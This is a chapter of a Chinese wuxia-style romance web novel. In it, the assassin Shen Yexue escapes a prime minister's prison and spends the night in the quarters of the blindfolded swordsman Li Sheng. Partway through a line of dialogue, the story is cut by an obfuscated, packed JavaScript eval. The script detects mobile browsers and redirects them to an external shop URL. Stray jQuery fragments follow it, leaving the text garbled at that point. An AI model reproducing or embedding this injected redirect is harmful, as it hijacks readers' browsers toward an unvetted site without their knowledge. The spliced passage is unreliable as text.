13.过夜(1)
    “你……”

    还未言出下一字,狱吏已到底不起,气绝而亡。

    桌旁艳姝随然起身,拿出方帕轻拭着匕刃上的殷红血渍,使得本想上前擒拿的兵卒连连后退。

    角落有几人胆怯颤动着双手,见此景慌忙丢下长剑,为保小命般撒腿就跑。

    她浅勾丹唇,明眸凛冽了稍许,顷刻间掷出几发暗器。

    血花飞溅,壁室霎那回荡起惨叫。

    府牢内寂静如初,在场狱卒已被割了喉,未有一人侥幸脱逃。

    正想着快些抽身而退,她又闻狱道传来跫音……

    不明来者何人,沈夜雪镇静一思,疾步退回水牢,伸手扯过铁链掩铐着。

    步调轻缓稳然,人影越走越近,当那道冷艳清影落入眼眸时,她才缓下心来。

    来人虽是泛泛之交,却不会伤她一丝一毫。

    所经壁室之时,驻足了好一阵,离声扬唇了然一笑,忽觉此行是多余了。

    “看来是我多此一举了。”

    最是柔媚的皎姿,往往藏着最为锋利的刺刃,她便是这般存在于世。

    “我未料到你会回来救我,我以为……”她忙取下镣铐,拂去心底的疑虑与猜忌,不解而问,“你是怎么与傅昀远言谎的?”

    毕竟她并非相府之人,如何作想都难以答得滴水不漏,难不成还真道她是旧相好……

    就算这么说了,这位生性多疑的傅宰相又怎会轻信,她跟于其身后一步之遥,谨慎地出了府牢。

    夜阑月影遍地,暮云缭绕一轮明月,夜风乍起,拂过花树,洒落簌簌摇曳之音。

    离声徐步顺着府院石径而行,从然回道。

    “一位老相好,游园赏月时偶经书阁,在阁中吟诗作对而已。”

    她半晌怔愣,险些道不出话来。

    几时辰前她那随口说的荒谬之言,他竟是照搬无误。

    更荒唐的是,傅昀远却真信了……

    于此,只能笃定这宰相大人是有意将他袒护,对此事装聋作哑,视而不见……

    沈夜雪无言少时,冷声再问:“何故救我?”

    “见你可怜,想救便救了。”

    他答得轻巧,语声掺杂着微许轻笑,仿佛真是动了恻隐之心,救下了路旁一只受伤的鸟雀。

    她何需他人的怜悯,此人实在傲睨自若,自以为是了些……

    “那我还要感激你的怜惜了,”冷然浅笑着以作回应,沈夜雪望向夜空无尘清月,想那窃玉之举只得另作打算,“可否带我出府,那寻玉石一事,我改日再来。”

    “随着我。”他而后不语,唯留行步声荡于院中长廊。

    沿花间石路走了约摸着半刻钟,她恍然察觉此路通往的并非为府外。

    此时正去的是他的偏院。

    “这不是出府门的方向。”步子蓦然一顿,沈夜雪满怀警惕般凛起了秋眸。

    他随之停步,回首向她瞧望,虽瞧不见这抹凛冽,却似已将她洞察了一遍:“阿雪何不看看自己的模样,回去只会让人笑话。”

    闻声低头一瞥,衣襟裙摆上竟已沾满了道道鲜血,斑驳血痕尤为触目惊心……她深知这些血迹不是她的,而是方才刺杀狱卒时溅落在身的痕迹。

    “你能看得见?”望着穿着于身略为肮脏的衣裳,她抬起眸来,又瞧向那蒙着绸缎的双目。

    离声悠缓回身,不紧不慢地朝居所行去,晏然答道:“身上的血腥味太重了。”

    原是因这气味太过令人生疑……

    想来她这般回去,若遇上其他姑娘,着实会让人心生猜忌。

    毕竟这龙腾玉一事公子只和她道起,从不与旁人说,她便不好张扬行事。

    何况公子喜怒难定,瞧她这样貌许又会心涌异绪,眼前之人既好意收留,她于此处歇上一晚确为上策。

    “是吗……”沈夜雪低喃了一瞬,与他步调一致,回于亭台水榭后的那处偏堂,“今日确是有些累了。”

    眸中清色行至一雅间前伫立,她顺势一瞧,发觉此屋是她先前为更衣无意到过的雅房。

    房内依旧整洁得一尘不染,各处角落都崭新得仿佛刚修葺一般,她转眸看向门旁身影,疑惑未解:“这是你平日的寝房?”

    “这是给你安排的,”他缓声作答,轻描淡写般又道,“桌上放着的,是给你备的寝衣。”

    木桌上叠放着素雅衣物,桌旁还放了一只木桶,桶内盛满着温水,散着腾腾热气。

    沈夜雪莫名感到惬心,毕竟这是在花月坊中都不曾有过的待遇。

    那楼阁后的院落终究是小了些,闺房仅够一人居住,唯一侍奉的轻烟却是时常阳奉阴违,一切皆围绕着公子转悠,她想着能在这一地顺意地睡上一觉,便感欢愉了不少。

    几念思索后,她蹙了蹙眉,忽地饶有兴致而问:“你这怎会有女子衣物?”

    离声似有些许困惑,倚靠门边的身躯如玉树直立,扬眉反问着:“遣人送来的,不然阿雪以为呢?”

    这间寝房如同刻意为她所备……

    料她今夜会居于此处,他便费尽心思而打点,然这一解释,沈夜雪自是不信。

    此屋定有别家女子住过,她暗自猜想,又觉此人不像是会藏娇之人,难免不解更甚。

    她沉闷一想,半信半疑地凑近了少许:“你当真未近过女色?”

    被她出乎意料的走近倏然一退,离声微怔开口:“问此话是何意?”

    想他起宴前的强行亲昵之举,与那水牢中决然弃她不顾的背影,她心上涌现出丝许愠怒,深觉是自己多虑了。

    他应当真未近过女色。

    “只是好奇罢了……”沈夜雪退步微俯了身,朝之恭敬言谢,“今晚多谢离公子了。”

    欲走的身影忽而一滞,他却似想到了何事,于悠然笑意下沉声启唇:“府牢内有人盯着,隔墙有耳,才道了那几言。”

    她听罢微愣,才知他说的是为那府牢中的言行作解,霎时明了其意。

    在未知暗处之人身份的情形下,自是需演上几许戏码。

    然而,暗中竟有人观测着她的一举一动,是她未曾料及之事。

    凝眸细思着,沈夜雪不禁脱口相问:“可知是谁的人?”

    离声似笑非笑,将此之语道得寡淡风清:“随你一同入的府,绝

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13175012|136199||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    非这府邸之人。”

    “多谢告知。”她由衷一谢,轻步走回方桌一侧,抖落开淡雅素然的寝衣,似是极为合身。

    跟踪行迹者若非无樾,便是公子的人。

    可无樾向来不会违抗她所言,此趟凶险之行绝不会跟来。

    她心下一颤,忽感这些年所打的算盘尽是徒劳,公子虽待她与众不同,可仍对她东猜西疑,疑三惑四。

    她所想的愿景皆为虚妄,就算公子与她成婚,也不会将花月坊拱手相让。

    那样心思缜密的人,如何因她而放弃收揽已久的权势……

    “所寻之物我会找来,不必担忧了,”想着今日未寻到的玉石,他眉目含笑,带着房门的长指微止,语调转了柔,“你想要的,告诉我便可。”

    “我给你最好的,皆是你应得,你无需惊慌。”

    一个才见上几面的男子如此相帮,她受宠若惊,滞在原地有过一霎恍惚,不得不忖量此人大抵是被她迷得颠倒神魂。

    “其实你大可不必这样……”

    沈夜雪心有不安,顿感这道风雪落梅般的不羁之影所说得沉重了些:“你我才见了两面,算上花月坊中的初次相见,勉强是三面,你还不曾知我……”

    “无需知晓,”他低笑一声,唇畔飘出极轻的一语,“若不嫌弃,我的命也给你。”

    语落之际,房门被阖了上。

    她瞬时一头雾水,本就揣度不住他的心思,便索性不再多思多虑,褪下被血渍染脏的素衣,踏入木桶内。

    温水中还放有零散花瓣,隐约飘来淡雅幽香,她轻闭双眸,浑身惬意而下,让清水没过薄肩。

    原本还心觉在此陌生之地需更加提防,可直到沐浴终了,寝房内外沉寂如常。

    唯听得门外虫鸣不绝,枝叶簌声摇晃,沈夜雪行至窗旁一望,一时僵住了身。

    那红衣若枫的一缕清寂正于月下花树间轻舞着长剑,剑影如虹贯日,竹叶漫天旋飞。

    止剑一刻,落叶纷崩,较那朗月清风更添一抹冷冽。

    此剑气似本该吟啸千里,却偏偏寂落无声,剑柄所系红绫落下阵阵凌厉,阴寒肃杀之息弥漫庭廊檐瓦,又惹得满庭花醉。

    剑锋寒光一止,收得干净利落。

    身影孤绝料峭,容色悠淡,不沾片叶而归,回坐白玉长椅。

    他慵懒恣意,纹风不动,恍若已入眠。

    倘若适才有他人误入,定会被那肃冷凌寒之气所伤,无从求饶半分……

    她不知自己何故瞧得痴醉了,再偷望了几目,敛回心神安然自得般上榻入梦。

    翌日晨初夜色散尽,云影氤氲,素辉坠至清露,庭内幽静似昨。

    浅忆着昨夜落败之景,觉此辅政宰相似比她料想得还要难对付,眼下需另辟蹊径,才得以将龙腾玉独握在手。

    沈夜雪思忖着坐起身,忽听叩门声轻盈传入房内。

    “可进。”她肃声回语,见一素未谋面的女子走进寝屋。

    女子极是恭肃地将手中衣物与粥膳放落桌案,柔婉开口:“这是姑娘昨日入府时所穿的衣裳,这是早膳。姑娘若有其余之需,直唤我便可。”